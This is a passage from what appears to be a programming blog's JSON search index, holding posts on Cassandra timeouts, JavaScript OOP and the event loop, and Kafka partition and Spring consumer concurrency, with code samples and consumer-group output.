class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprofile\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eExecutionProfile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003erequest_timeout\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e60\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecluster\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eCluster\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;hostnanme\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eauth_provider\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"n\"\u003eauth_provider\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003eexecution_profiles\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"n\"\u003eEXEC_PROFILE_DEFAULT\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eprofile\u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"n\"\u003econnect_timeout\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e120\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esession\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecluster\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econnect\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;database\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe above coode snippet increases the connect timeout and request timeout to 120 and seconds respectively.\u003c/p\u003e","title":"Handle timeouts while connecting to cassandra"},{"content":"I have been always fascinated by Object oriented programming in JavaScript. Its different from usually OOPs provided by languages such as Java.\nIn this post, we will look at various approaches of achieving Object oriented programming in JavaScript, and their pros and cons\nSolution 1 : Generate objects using a function function userCreator(name, score) { const newUser = {}; newUser.name = name; newUser.score = score; newUser.increment = function() { newUser.score++; }; return newUser; }; const user1 = userCreator(\u0026#34;Will\u0026#34;, 3); const user2 = userCreator(\u0026#34;Tim\u0026#34;, 5); user1.increment(); The above approach is a very naïve approach, but its absolutely useless.\nThe code in the function is replicated for each of the object. If we have million users, it will have million copies of increment function If we want to add a new functionality, we will have to add it to each of the object, once it has been created. There is beauty of closure in above code. The function definition increment has reference to newUser but there is no reference to newUser once the object has been created through userCreator function. Solution 2: Using the prototype chain function userCreator(name, score) { const newUser = Object.create(userFunctionStore); newUser.name = name; newUser.score = score; return newUser; }; const userFunctionStore = { increment: function() {this.score++;}, login: function() {console.log(\u0026#34;Logged in\u0026#34;);} }; const user1 = userCreator(\u0026#34;Will\u0026#34;, 3); const user2 = userCreator(\u0026#34;Tim\u0026#34;, 5); user1.increment(); In the above solution we create a link between two objects using a hidden property __proto__. This property has a link to userFunctionStore.\nAll objects link back to Object.prototype\nSolution 3: Using the new keyboard Using the new keyword does the above __proto__ link automatically\nAll functions have a property called prototype defined on them which points to {} by default.\nfunction userCreator(name, score) { this.name = name; this.score = score; } userCreator.prototype.increment = function() { this.score++; }; userCreator.prototype.login = function() { console.log(\u0026#34;login\u0026#34;);}; const user1 = new userCreator(\u0026#34;Eva\u0026#34;, 9); user1.increment(); In the above code, the new keyword automates lot of things for us:\nIt links the __proto__ property of the returned object to the prototype property of userCreator function object.\nreturns this and stores in the global variable user1\nSolution 4 - Using the class syntactic sugar class UserCreator { constructor(name, score) { this.name = name; this.score = score; } increment() { this.score++; } login() { console.log(\u0026#34;login\u0026#34;); } } const user1 = new UserCreator(\u0026#34;Eva\u0026#34;, 9); user1.increment(); In ES6 the class keyword was introduced. The class keyword is no more than syntactic sugar on top of the already existing prototypal inheritance pattern. Classes in JavaScript is basically another way of writing constructor functions which can be used in order to create new object using the new keyword.\n","permalink":"https://madhur.co.in/blog/2020/09/27/oop-javascript.html","summary":"\u003cp\u003eI have been always fascinated by Object oriented programming in JavaScript. Its\ndifferent from usually OOPs provided by languages such as Java.\u003c/p\u003e\n\u003cp\u003eIn this post, we will look at various approaches of achieving Object oriented\nprogramming in JavaScript, and their pros and cons\u003c/p\u003e\n\u003ch2 id=\"solution-1--generate-objects-using-a-function\"\u003eSolution 1 : Generate objects using a function\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003euserCreator\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003escore\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003enewUser\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003enewUser\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ename\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003enewUser\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003escore\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003escore\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003enewUser\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eincrement\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003enewUser\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003escore\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003enewUser\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003euser1\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003euserCreator\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Will\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003euser2\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003euserCreator\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Tim\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003euser1\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eincrement\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe above approach is a very naïve approach, but its absolutely useless.\u003c/p\u003e","title":"Object Oriented Programming in JavaScript"},{"content":"Its amazing how after working so many years on Javascript, I still get some of the basic concepts wrong.\nThe concept in question is Event loop and Call Stack.\nTo get it refreshed, here is the teaser.\nWhat is the output of the below snippet.\nfunction printHello() { console.log(\u0026#34;Hello\u0026#34;); } function blockFor1Sec() { let arr = []; for (let i = 0; i \u0026lt; 100000; ++i) { arr.push(i); } } setTimeout(printHello, 0); blockFor1Sec(); console.log(\u0026#34;Me first!\u0026#34;); I thought that, since printHello is scheduled to run after 0ms, it will run as soon as event loop gets chance to execute it. I assumed the execution order to be:\nHello Me first! However, it turns out that answer is\nMe first! Hello The reason for it is the documented behavior when the items in call stack are executed.\nThe specified amount of time (or the delay) is not the guaranteed time to execution, but rather the minimum time to execution. The callbacks you pass to these functions cannot run until the stack on the main thread is empty.\nAs a consequence, code like setTimeout(fn, 0) will execute as soon as the stack is empty, not immediately. If you execute code like setTimeout(fn, 0) but then immediately after run a loop that counts from 1 to 10 billion, your callback will be executed after a few seconds.\n","permalink":"https://madhur.co.in/blog/2020/09/12/javascript-event-loop-call-stack.html","summary":"\u003cp\u003eIts amazing how after working so many years on Javascript, I still get some of\nthe basic concepts wrong.\u003c/p\u003e\n\u003cp\u003eThe concept in question is Event loop and Call Stack.\u003c/p\u003e\n\u003cp\u003eTo get it refreshed, here is the teaser.\u003c/p\u003e\n\u003cp\u003eWhat is the output of the below snippet.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eprintHello\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Hello\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003eblockFor1Sec\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003earr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e100000\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003earr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003esetTimeout\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eprintHello\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eblockFor1Sec\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Me first!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eI thought that, since \u003ccode\u003eprintHello\u003c/code\u003e is scheduled to run after 0ms, it will run as\nsoon as event loop gets chance to execute it. I assumed the execution order to\nbe:\u003c/p\u003e","title":"Javascript Event loop and call stack"},{"content":"In a complex multi data center Kafka deployments, it is also important to estimate no. of partition each thread will be handling per compute. It is very important parameter to tune. For example, if you are seeing high lag and less CPU usage, it could be because a single thread is handling too much partitions and it might be advisable to increase the no. of threads per compute.\nLet me take a hypothetical example of ours.\nWe have an active-active kafka setup with a topic having 210 partitions.\nThere is concurrency of 2 per compute i.e. a single VM will be spawning 2 threads to connect to Kafka broker.\nThere is imbalance in no. of computes. There are 8 computes in DC 1 and 16 computes in DC2.\nThus in DC1, 8*2=16 threads consume 120 partitions. 120/16 = 7.5, which means Kafka should be allocating 7-8 partitions per thread. When I look at my distribution, here is what I discover:\nC1 - 8+8 = 16 partitions (8/thread) C2 - 8+8 = 16 C3 - 8+7 = 15 C4 - 8+8 = 16 C5 - 7+7 = 14 C6 - 7+7 = 14 c7 - 8+7 = 15 C8 - 7+7 = 14 Similarly, in DC2, 16*2=32 threads consume 120 partitions. 120/32 = 3.5, means Kafka allocates 3-4 partitions per thread on each compute.\nThus, computes in DC1 are doing a lot more work assuming equal distribution across both DC\u0026rsquo;s.\nIt is very important to tune the Kafka settings for both the DC\u0026rsquo;s separately since both are doing unequal amount of work.\n","permalink":"https://madhur.co.in/blog/2020/09/06/estimate-partitions-single-thread-compute.html","summary":"\u003cp\u003eIn a complex multi data center Kafka deployments, it is also important to\nestimate no. of partition each thread will be handling per compute. It is very\nimportant parameter to tune. For example, if you are seeing high lag and less\nCPU usage, it could be because a single thread is handling too much partitions\nand it might be advisable to increase the no. of threads per compute.\u003c/p\u003e\n\u003cp\u003eLet me take a hypothetical example of ours.\u003c/p\u003e","title":"Estimate no. of kafka partitions handled by a single thread on compute"},{"content":"Multithreading / Concurrency have always been the favorite topic of mine. It gives me a pure joy to extract most out of a machine by loading the CPU with work just like a master exploiting its slaves :)\nUnfortunately, these days due to distributed nature of computing, most of the time in a machine is spent waiting on I/O (either from database, API\u0026rsquo;s etc.) and our CPU just sits idle most of the time.\nKafka allows you to scale your distributed system through partitions where a compute can be attached to consuming from particular partition, which is an ordered subset of messages in a topic.\nRecently, I have seen a trend where developers instead of making sure a compute is able to efficiently process the data from the single partition, prefer the easy way out of increasing the partitions/vm\u0026rsquo;s to reach the desired throughput. It\u0026rsquo;s like throwing money at the problem.\nIn this post, we will look at ways to increase concurrency of Kafka consumer so that we are able to achieve more from a single consumer instead of increasing the partitions. There are two types of multithreading which can be achieved with Kafka -\nThread per consumer model Multi-threaded consumer model In the thread per consumer model, each thread is instantiated and connects to Kafka broker. The kafka broker assigns the partitions whose messages will be delivered to these threads.\nIn the multi-threaded consumer mode, a single thread connects to Kafka and may get data from multiple / single partition(s). Once the data has been delivered that thread, the thread may deliver the messages to multiple pool of threads to allow them to process in parallel. In this approach, consumer thread can decide which type of messages will be handled by which child thread. However, offset management becomes very tricky in this case.\nThere are pros/cons of each approach and we\u0026rsquo;ll go over these.\nThread per consumer model This is a simplest approach, which can be easily achieved using Spring Kafka as shown below.\nIt\u0026rsquo;s very easy to configure spring to spawn multiple threads to connect to Kafka. Let\u0026rsquo;s see how the behavior differs. We have a single topic test-topic with 10 partitions and a single VM running spring application with single concurrency.\nJust to be clear, the following configuration specifies the concurrency in spring kafka listener\n/** * Consumer configuration for email topics * * @return */ @Bean public ConsumerFactory\u0026lt;String, String\u0026gt; consumerFactory() { Map\u0026lt;String, Object\u0026gt; props = new HashMap\u0026lt;\u0026gt;(); props.put(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, \u0026#34;localhost:9092\u0026#34;); props.put(ConsumerConfig.GROUP_ID_CONFIG, EMAIL_STATUS_CONSUMER_GROUP); props.put(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class); props.put(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class); return new DefaultKafkaConsumerFactory\u0026lt;\u0026gt;(props); } /** * Sets Concurrency for kafka listener * * @return */ @Bean public ConcurrentKafkaListenerContainerFactory\u0026lt;String, String\u0026gt; kafkaListenerContainerFactory() { ConcurrentKafkaListenerContainerFactory\u0026lt;String, String\u0026gt; factory = new ConcurrentKafkaListenerContainerFactory\u0026lt;\u0026gt;(); factory.setConsumerFactory(consumerFactory()); factory.setConcurrency(1); return factory; } We are using consumer group spring-group to listen to this partition. Following is the behavior with single concurrency:\nGROUP TOPIC PARTITION CONSUMER-ID HOST CLIENT-ID spring-group test-topic 8 consumer-1-01a5779b-940b-44cf-b8c6-2e414aa38eb1 /172.22.0.1 consumer-1 spring-group test-topic 2 consumer-1-01a5779b-940b-44cf-b8c6-2e414aa38eb1 /172.22.0.1 consumer-1 spring-group test-topic 1 consumer-1-01a5779b-940b-44cf-b8c6-2e414aa38eb1 /172.22.0.1 consumer-1 spring-group test-topic 4 consumer-1-01a5779b-940b-44cf-b8c6-2e414aa38eb1 /172.22.0.1 consumer-1 spring-group test-topic 5 consumer-1-01a5779b-940b-44cf-b8c6-2e414aa38eb1 /172.22.0.1 consumer-1 spring-group test-topic 6 consumer-1-01a5779b-940b-44cf-b8c6-2e414aa38eb1 /172.22.0.1 consumer-1 spring-group test-topic 3 consumer-1-01a5779b-940b-44cf-b8c6-2e414aa38eb1 /172.22.0.1 consumer-1 spring-group test-topic 7 consumer-1-01a5779b-940b-44cf-b8c6-2e414aa38eb1 /172.22.0.1 consumer-1 spring-group test-topic 9 consumer-1-01a5779b-940b-44cf-b8c6-2e414aa38eb1 /172.22.0.1 consumer-1 spring-group test-topic 0 consumer-1-01a5779b-940b-44cf-b8c6-2e414aa38eb1 /172.22.0.1 consumer-1 If you closely observe the above output, the consumer ID of the application is same for all the 10 partitions, indicating that its the single thread which is connected to all the partitions.\nNow, let\u0026rsquo;s see the output, when concurrency is increased to 2,\nGROUP TOPIC PARTITION CONSUMER-ID HOST CLIENT-ID spring-group test-topic 8 consumer-2-8ab0213d-683c-4f92-b3c8-767701905994 /172.22.0.1 consumer-2 spring-group test-topic 5 consumer-2-8ab0213d-683c-4f92-b3c8-767701905994 /172.22.0.1 consumer-2 spring-group test-topic 6 consumer-2-8ab0213d-683c-4f92-b3c8-767701905994 /172.22.0.1 consumer-2 spring-group test-topic 7 consumer-2-8ab0213d-683c-4f92-b3c8-767701905994 /172.22.0.1 consumer-2 spring-group test-topic 9 consumer-2-8ab0213d-683c-4f92-b3c8-767701905994 /172.22.0.1 consumer-2 spring-group test-topic 4 consumer-1-886f1a6e-f316-4e17-90d2-599a582682e4 /172.22.0.1 consumer-1 spring-group test-topic 2 consumer-1-886f1a6e-f316-4e17-90d2-599a582682e4 /172.22.0.1 consumer-1 spring-group test-topic 3 consumer-1-886f1a6e-f316-4e17-90d2-599a582682e4 /172.22.0.1 consumer-1 spring-group test-topic 1 consumer-1-886f1a6e-f316-4e17-90d2-599a582682e4 /172.22.0.1 consumer-1 spring-group test-topic 0 consumer-1-886f1a6e-f316-4e17-90d2-599a582682e4 /172.22.0.1 consumer-1 If you notice above, now there are 2 threads which have been equally given 5 partitions each.\nThis is very straightforward to understand, Kafka will try to distribute the partitions equally among the threads belonging to same consumer group. If we spawn, 10 concurrency, we will have a dedicated thread for each partition.\nIt\u0026rsquo;s interesting to study this behavior when there are multiple topics to consumer from. So now, let\u0026rsquo;s create two more topics, test-topic2 and test-topic3 with 10 partitions each.\nThis has an interesting behaviour the way consumers are written within spring.\nFor example, if we are consuming from all three topics like this:\n@KafkaListener(containerFactory = \u0026#34;kafkaListenerContainerFactory\u0026#34;, topics = {\u0026#34;test-topic\u0026#34;, \u0026#34;test-topic2\u0026#34;, \u0026#34;test-topic3\u0026#34;}) public void consume(String message) { logger.info(String.format(\u0026#34;$$ -\u0026gt; Consumed Message -\u0026gt; %s\u0026#34;,message)); } We get a single thread listening from all the 30 partitions of 3 topics combined\nGROUP TOPIC PARTITION CONSUMER-ID HOST CLIENT-ID spring-group test-topic3 7 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic3 0 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic 2 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic3 3 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic3 1 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic3 6 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic 8 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic2 5 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic2 9 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic 4 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic 5 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic 6 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic 3 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic2 2 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic2 6 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic3 8 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic3 4 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic2 0 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic2 3 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic2 7 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic 1 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic3 2 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic 7 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic 9 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic 0 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic2 1 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic2 8 consumer-1-51ce4005-ce57-472f-bfe4-4419e1fb8d43 /172.22.0.1 consumer-1 spring-group test-topic2 4 